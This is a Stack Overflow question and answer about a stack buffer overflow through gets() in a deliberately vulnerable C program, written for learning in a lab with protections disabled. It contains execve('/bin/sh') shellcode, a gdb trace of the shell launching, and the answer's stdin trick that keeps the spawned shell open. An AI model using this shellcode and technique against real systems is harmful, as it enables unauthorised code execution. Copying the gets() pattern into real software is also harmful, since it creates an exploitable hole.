Buffer overflow with gets()

0

I'm trying to overflow buffer with my shellcode and I have a problems with gets(). If I overflow buffer with shellcode using strcpy() function - it's OK and I got a /bin/bash. But if I do the same with gets() function it shows me nothing. I tried ret2text attack with gets() and it works fine, bun if I try overflow with malicious code(shell) it doesn't work. I turned off stack-protector (-fno-stack-protector), disabled ASLR (echo 0 > randomize_va_space), enabled stack execution (-z execstack)

here is shellcode

xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

here is vuln prog

#include <stdio.h>
#include <string.h>

int ask_user(void)
{
    int ret;
    char name[10];
    printf("Your Name: ");
    fflush(stdout);
    gets(name);
    ret = strcmp(name, "Peter");
    if (ret == 0)
    return 1;
    return 0;
}

int main(int argc, char *argv[])
{
    int is_peter;
    printf("This Application finds the Peter!\n");
    is_peter = ask_user();
    if (is_peter == 1)
    {
        printf("Lol, you are a real Peter!\n");
        return 0;
    }
    printf("Ups, no Peter :-/\n");
    return 0;
}

some gdb

gdb$ si
--------------------------------------------------------------------------[regs]
  EAX: 0x0000000B  EBX: 0xBFFFEF22  ECX: 0x00000000  EDX: 0x00000000  o d I t s Z a P c 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0x41414141  ESP: 0xBFFFEF10  EIP: 0xBFFFEF1B
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0xbfffef1b:  int    0x80
   0xbfffef1d:  call   0xbfffef12
   0xbfffef22:  das    
   0xbfffef23:  bound  ebp,QWORD PTR [ecx+0x6e]
   0xbfffef26:  das    
   0xbfffef27:  jae    0xbfffef91
   0xbfffef29:  add    BYTE PTR [eax+ecx*1],al
   0xbfffef2c:  add    BYTE PTR [eax],al
--------------------------------------------------------------------------------
0xbfffef1b in ?? ()
gdb$ x/1sb $ebx
0xbfffef22:     "/bin/sh"
gdb$ x/1sb $esp
0xbfffef10:     "ë\v[1À1É1Ò°\vÍ\200èð\377\377\377/bin/sh"
gdb$ si
process 3697 is executing new program: /bin/bash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
[Inferior 1 (process 3697) exited normally]
--------------------------------------------------------------------------[regs]
  EAX:Error while running hook_stop:
No registers.

As you can see in debugger the shell is start and exit at the moment. When I used strcpy it start shell and not exit

shell
security
buffer
overflow
exploit
asked on Stack Overflow Apr 22, 2013 by Va Ko • edited Aug 19, 2014 by AstroCB

1 Answer

0

There is a difference of behaviour between strcpy and gets.

You should try using something like this in order to let the stdin open : (cat /tmp/yourbuffer;cat) | ./vuln

answered on Stack Overflow Jun 27, 2013 by nope

User contributions licensed under CC BY-SA 3.0